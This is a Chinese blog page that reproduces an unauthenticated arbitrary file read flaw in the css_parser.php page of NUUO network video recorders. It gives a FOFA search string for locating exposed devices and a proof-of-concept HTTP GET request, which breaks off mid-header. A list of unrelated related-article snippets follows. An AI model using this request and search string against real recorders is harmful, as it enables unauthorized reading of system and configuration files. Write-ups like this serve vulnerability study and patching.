当前位置： 首页 > news >正文

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

news 2026/5/21 2:36:15

0x01 产品简介

NUUO网络视频录像机（Network Video Recorder，简称NVR）是NUUO Inc.生产的一种专业视频监控设备，它广泛应用于零售、交通、教育、政府和银行等多个领域。能够同时管理多个IP摄像头，实现视频录制、存储、回放及远程监控等功能。它采用先进的视频处理技术，提供高清、流畅的视频画面，满足各种复杂环境下的监控需求。

0x02 漏洞概述

NUUO网络视频录像机 css_parser.php 存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：

body="www.nuuo.com/eHelpdesk.php"

0x04 漏洞复现

PoC

GET /css_parser.php?css=css_parser.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv

相关文章：

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

0x01 产品简介 NUUO网络视频录像机（Network Video Recorder，简称NVR）是NUUO Inc.生产的一种专业视频监控设备，它广泛应用于零售、交通、教育、政府和银行等多个领域。能够同时管理多个IP摄像头，实现视频录制、存储、回放及远程监控等功能。它采用先进的视频处理技术，提供…...

编程日记 2024/9/11 17:11:20

【支付】Stripe支付通道Java对接（产品 价格 支付 查询 退款 回调）

Stripe是一家美国科技公司，成立于2010年，由爱尔兰兄弟Patrick Collison和John Collison共同创立。该公司致力于提供高效、简洁的互联网支付收款服务，为开发者或商家提供支付API接口或代码，使商家的网站、移动APP支持信用卡付款。S…...

编程日记 2024/9/11 17:10:19

Unity3D 小案例 像素贪吃蛇 01 蛇的移动

Unity3D 小案例 像素贪吃蛇 第一期 蛇的移动 像素贪吃蛇 今天来简单制作一个小案例，经典的像素贪吃蛇。 准备 首先调整一下相机的设置，这里使用灰色的纯色背景，正交视图。 接着，创建一个正方形，保存为预制体&#…...

编程日记 2024/9/11 17:09:17

【STM32 MCU】stm32MCUs 32-bit Arm Cortex-M

stm32MCUs 32-bit Arm Cortex-M...

编程日记 2024/9/11 17:07:15

html+css网页设计 旅游 雪花旅行社5个页面

htmlcss网页设计 旅游 雪花旅行社5个页面 网页作品代码简单，可使用任意HTML辑软件（如：Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作）。 获取源码 1&#…...

编程日记 2024/9/11 17:06:14

vue3中的实例

实例类型 Vue2：每个Vue应用都是new Vue创建的一个新实例，创建的时候将data作为property添加到响应式系统中 vue3：createApp创建一个Application Instance、应用实例用来注册全局内容，大多数方法支持链式调用，返回实例…...

编程日记 2024/9/11 17:05:13

9.测试计划（包含笔试/面试题）

一、软件测试计划介绍 1.测试计划就是一份测试文档，一份描述测试工作计划的文档，对测试计划进行统筹安排。 2.测试计划的编写者就是测试组长，测试主管。 3.测试计划的查阅者：测试人员，测试主管，产品&#x…...

编程日记 2024/9/11 17:03:12

这 7 款AI应用将让你全新的iPhone 16成为电影制作的强大工具

苹果公司在周一的Glowtime发布会上揭晓了新款的iPhone 16 Pro系列。除了新加入的苹果智能功能和令人印象深刻的硬件升级外，它还获得了一套视频制作工具，让用户能够在一个几乎可以放进口袋的设备上制作整部电影。 这些升级中有一个48MP融合相机。它具有2…...

编程日记 2024/9/11 17:02:11

自注意力机制（self-attention）

自注意力机制（self-attention） 之前听过吴恩达老师的课，吴恩达老师CNN那一块讲的特别好，但是后面RNN这一部分我听的不是很明白，今天有看了李宏毅老师attention这部分的课，总结一下笔记。 self-attention …...

编程日记 2024/9/11 17:00:09

Nuxt3入门：过渡效果（第5节）

你好同学&#xff0c;我是沐爸&#xff0c;欢迎点赞、收藏、评论和关注。 Nuxt 利用 Vue 的 <Transition> 组件在页面和布局之间应用过渡效果。 一、页面过渡效果 你可以启用页面过渡效果&#xff0c;以便对所有页面应用自动过渡效果。 nuxt.config.js export defaul…...

编程日记 2024/9/11 16:56:06

【开发工具】IntelliJ IDEA插件推荐：Json Helper——让JSON处理更高效

导语&#xff1a;在Java开发过程中&#xff0c;JSON作为一种轻量级的数据交换格式&#xff0c;被广泛应用于前后端数据交互。今天&#xff0c;我要为大家介绍一款IntelliJ IDEA插件——Json Helper&#xff0c;帮助开发者更高效地处理JSON数据。 一、什么是Json Helper&#x…...

编程日记 2024/9/11 16:55:05

Lua垃圾回收机制

Lua垃圾回收机制 在 Lua 中&#xff0c;一共只有8种数据类型&#xff0c;分别为 nil 、boolean 、userdata 、number 、string 、 table 、 function 、 userdata 和 thread 。其中&#xff0c;只有 string table function thread 四种是以引用方式共享&#xff0c;是需要被 G…...

编程日记 2024/9/11 16:52:01

Java学习路线：详细指引

Java学习路线可以分为几个阶段&#xff0c;每个阶段都有其重点和推荐学习的内容。下面我将按照初学者、进阶和高级三个阶段来举例说明&#xff1a; 初学者阶段 目标&#xff1a; 熟悉Java基础语法理解面向对象编程掌握基本数据类型和数据结构学会使用IDE&#xff08;如Intel…...

编程日记 2024/9/11 16:51:00

商家转账到零钱如何开通-微信支付

商家转账到零钱是微信支付的一项实用功能&#xff0c;允许商户将资金从商户号余额直接转账到用户的微信零钱。我们以上万次成功申请的经验整理了本文的详细的步骤和建议以帮助商户可以快速开通该功能。 1. 准备工作 - 确认申请资格&#xff1a;只有公司性质的商户可以申请此功能…...

编程日记 2024/9/11 16:49:59

自研商家如何快速接入电商平台订单数据？

随着电子商务行业的快速发展&#xff0c;越来越多的商家开始寻求高效的订单管理和数据整合方案。对于那些自研系统的商家来说&#xff0c;如何实现与各大电商平台之间的无缝对接&#xff0c;成为了一项重要挑战。点三电商API正是为此类需求量身打造&#xff0c;为商家提供了一站…...

编程日记 2024/9/11 16:47:57

Win10下借助CMake编译OpenMVS

笔者在编译OpenMVS的过程十分曲折。刚开始借助CMake编译，能够把与库生成相关的工程编译出来，但是与可执行文件相关的工程会报错；后来参考官方教程借助VCPKG编译，发现VCPKG并没有想中强大、好用，最终也是遇到了各种问题没有编译成功。但是，笔者在解决问题的过程发现了问题…...

编程日记 2024/9/11 16:46:56

04_定时器与数码管基础

通过上节课的实验&#xff0c;大家会发现&#xff0c;我们逐渐进入比较实质性的学习了&#xff0c;需要记住的内容也更多了&#xff0c;个别地方可能会感觉吃力。但是大家不要担心&#xff0c;要有信心。这个跟小孩学走路一样&#xff0c;刚开始走得不太稳&#xff0c;没关系&a…...

编程日记 2024/9/11 16:45:56

Python 数学建模——方差分析

文章目录 前言单因素方差分析原理核心代码 双因素方差分析数学模型分析依据典型代码 前言 方差分析也是概率论中非常重要的内容&#xff0c;有时数学建模需要用到。方差分析是干什么的&#xff1f;如果说假设检验用于分析两个总体之间的均值 μ 1 , μ 2 \mu_1,\mu_2 μ1​,μ…...

编程日记 2024/9/11 16:44:55

计算机视觉中，什么是上下文信息（contextual information）？

在计算机视觉中&#xff0c;上下文信息&#xff08;contextual information&#xff09;是指一个像素或一个小区域周围的环境或背景信息&#xff0c;它帮助模型理解图像中对象的相对位置、大小、形状&#xff0c;以及与其他对象的关系。上下文信息在图像中提供了全局的语义和结…...

编程日记 2024/9/11 16:43:53

YOLOv5改进 | 模块缝合 | C3 融合RVB + EMA注意力机制【二次融合】

秋招面试专栏推荐 &#xff1a;深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转 &#x1f4a1;&#x1f4a1;&#x1f4a1;本专栏所有程序均经过测试&#xff0c;可成功执行&#x1f4a1;&#x1f4a1;&#x1f4a1; 专栏目录 &#xff1a;《YOLOv5入门 改…...

编程日记 2024/9/11 16:42:52

Taotoken控制台提供的API Key管理与访问控制功能详解

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 Taotoken控制台提供的API Key管理与访问控制功能详解 对于团队管理者或项目负责人而言&#xff0c;如何安全、高效地分发和管理大模…...

编程新知 2026/5/21 2:02:43

超越官方TabBar：打造高交互小程序导航的3个高级技巧（附动态隐藏方案）

超越官方TabBar&#xff1a;打造高交互小程序导航的3个高级技巧&#xff08;附动态隐藏方案&#xff09; 在小程序生态中&#xff0c;导航栏作为用户交互的核心枢纽&#xff0c;其体验直接影响用户留存率。微信原生TabBar虽然开箱即用&#xff0c;但在动态效果、状态管理和场景…...

编程新知 2026/5/21 1:23:43

硬核实战：调用Gemini多模态管道，直击办公中的图表解析、发票识别与自动化脚本生成（国内镜像免费方案）

办公室里的信息并不全以纯文本存在——扫描版合同、财报截图、会议白板照片、纸质发票&#xff0c;这些“非结构化视觉数据”才是拖慢效率的元凶。Gemini 的多模态能力可以同时理解图片和文字&#xff0c;直接从中提取数据、输出分析或生成脚本。目前国内用户可通过聚合镜像站 …...

编程新知 2026/5/21 1:04:43

良心云服务器部署的AI应用如何借助Taotoken实现多模型降级策略

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 良心云服务器部署的AI应用如何借助Taotoken实现多模型降级策略 在生产环境中&#xff0c;部署于云服务器上的AI应用对服务的连续性…...

编程新知 2026/5/21 0:44:17

别再只会用现成镜像了！手把手教你用Diskimage-builder从零打造专属OpenStack镜像（Ubuntu 22.04实战）

从零构建OpenStack定制镜像&#xff1a;Diskimage-builder深度实践指南 为什么需要定制镜像&#xff1f; 在OpenStack云环境中&#xff0c;标准镜像就像未经调味的食材——虽然能用&#xff0c;但远不能满足专业需求。想象一下&#xff0c;每次创建实例后都要重复安装Python环境…...

编程新知 2026/5/21 0:02:04

W5500 TCP客户端开发避坑指南：从寄存器配置到稳定通信的5个关键步骤

W5500 TCP客户端开发避坑指南&#xff1a;从寄存器配置到稳定通信的5个关键步骤 在嵌入式网络通信领域&#xff0c;W5500作为一款硬件集成TCP/IP协议栈的以太网控制器&#xff0c;因其易用性和稳定性备受开发者青睐。然而&#xff0c;当项目从实验室demo转向实际部署时&#xf…...

编程新知 2026/5/20 23:53:41

【行业趋势】软件测试的第三次革命：从手工、自动化到AI Agent驱动

写在前面 如果你是一名测试工程师&#xff0c;大概率经历过这样的时刻&#xff1a;凌晨两点&#xff0c;被自动化回归失败的告警吵醒&#xff0c;爬起来一看&#xff0c;又是页面改了个按钮ID&#xff0c;三百条用例全红了。修了一小时定位器&#xff0c;天亮了。 如果你是一名…...

编程新知 2026/5/20 22:53:12

独立开发者如何通过 Taotoken Token Plan 套餐优化项目预算

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 独立开发者如何通过 Taotoken Token Plan 套餐优化项目预算 对于独立开发者或小型团队而言&#xff0c;在项目开发中引入大模型能力…...

编程新知 2026/5/20 22:17:01

设计型vs工程型 宁波景区标识服务商怎么选不踩坑

宁波某4A景区标识升级踩坑案例&#xff1a;3类适配性问题汇总前段时间宁波一家本土4A自然景区完成标识系统升级&#xff0c;不料上线3个月就收到近百条游客投诉&#xff0c;运营方不得不二次招标重做&#xff0c;前后浪费近百万预算。复盘整个项目&#xff0c;核心暴露了3类行业…...

编程新知 2026/5/20 22:15:00

别再乱建索引了！用进销存系统的真实案例，聊聊MySQL索引优化与视图设计的那些坑

MySQL索引优化与视图设计实战&#xff1a;进销存系统的避坑指南 当你的进销存系统从几百条记录增长到数百万条时&#xff0c;那些曾经瞬间完成的查询开始变得迟缓&#xff0c;收银台前的顾客开始不耐烦地敲击柜台&#xff0c;而老板的脸色也随着系统响应时间的增加而越发阴沉。…...

编程新知 2026/5/20 21:10:51